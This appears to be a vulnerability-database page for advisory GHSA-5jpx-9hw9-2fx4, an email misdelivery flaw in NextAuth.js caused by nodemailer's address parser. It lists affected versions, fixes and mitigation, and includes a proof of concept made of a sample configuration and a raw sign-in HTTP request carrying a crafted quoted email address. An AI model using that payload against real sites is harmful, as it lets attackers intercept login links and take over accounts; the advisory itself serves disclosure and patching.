GHSA-5jpx-9hw9-2fx4 NextAuthjs Email misdelivery Vulnerability

Not scored Published

Attackers can intercept authentication emails by exploiting an email address parsing bug, allowing them to take over victim accounts.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is GHSA-5jpx-9hw9-2fx4?

GHSA-5jpx-9hw9-2fx4 is a vulnerability in next-auth, published on 29 Oct 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:

"[email protected]"@victim.com

is parsed incorrectly and results in the message being delivered to [email protected] (attacker) instead of "<[email protected]>@victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

<h2>Affected NextAuthjs Version</h2>

≤ VersionAfftected
4.24.11Yes
5.0.0-beta.29Yes

POC

Example Setup showing misdelivery of email

import NextAuth from &#34;next-auth&#34;
import Nodemailer from &#34;next-auth/providers/nodemailer&#34;
import { PrismaAdapter } from &#34;@auth/prisma-adapter&#34;
import { prisma } from &#34;@/lib/prisma&#34;

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: &#34;127.0.0.1&#34;,
        port: 1025,
        ...
      },
      from: &#34;noreply@authjs.dev&#34;,
    }),
  ],
  pages: {
    signIn: &#39;/auth/signin&#39;,
    verifyRequest: &#39;/auth/verify-request&#39;,
  },
})
POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: &#34;Google Chrome&#34;;v=&#34;141&#34;, &#34;Not?A_Brand&#34;;v=&#34;8&#34;, &#34;Chromium&#34;;v=&#34;141&#34;
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: &#34;Linux&#34;
x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&amp;csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&amp;callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin

<img width="1247" height="1408" alt="Screenshot from 2025-10-25 21-15-25" src="https://github.com/user-attachments/assets/456968a3-14ce-42b4-b8ca-f25b9351cf0f" /> <img width="1279" height="1450" alt="Screenshot from 2025-10-25 21-14-47" src="https://github.com/user-attachments/assets/4e665b66-9bfe-43ce-abd3-97880972218f" />

Mitigation

Update to nodemailer 7.0.7

Credits

https://zeropath.com/ Helped identify this security issue

Which versions are affected by GHSA-5jpx-9hw9-2fx4?

4 open source packages ship an affected version, including next-auth.

PackageAffectedFixed in
next-auth npmAll versions4.24.12
next-auth npmAll versions4.24.12
next-auth npmFrom 5.0.0-beta.05.0.0-beta.30
next-auth npmFrom 5.0.0-beta.05.0.0-beta.30

How do I fix GHSA-5jpx-9hw9-2fx4?

Upgrade next-auth to a fixed version for your release line: 4.24.12 or 5.0.0-beta.30.

Is GHSA-5jpx-9hw9-2fx4 being exploited?

There is no known exploitation of GHSA-5jpx-9hw9-2fx4 in the wild and no public exploit code.

Sources

Is GHSA-5jpx-9hw9-2fx4 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free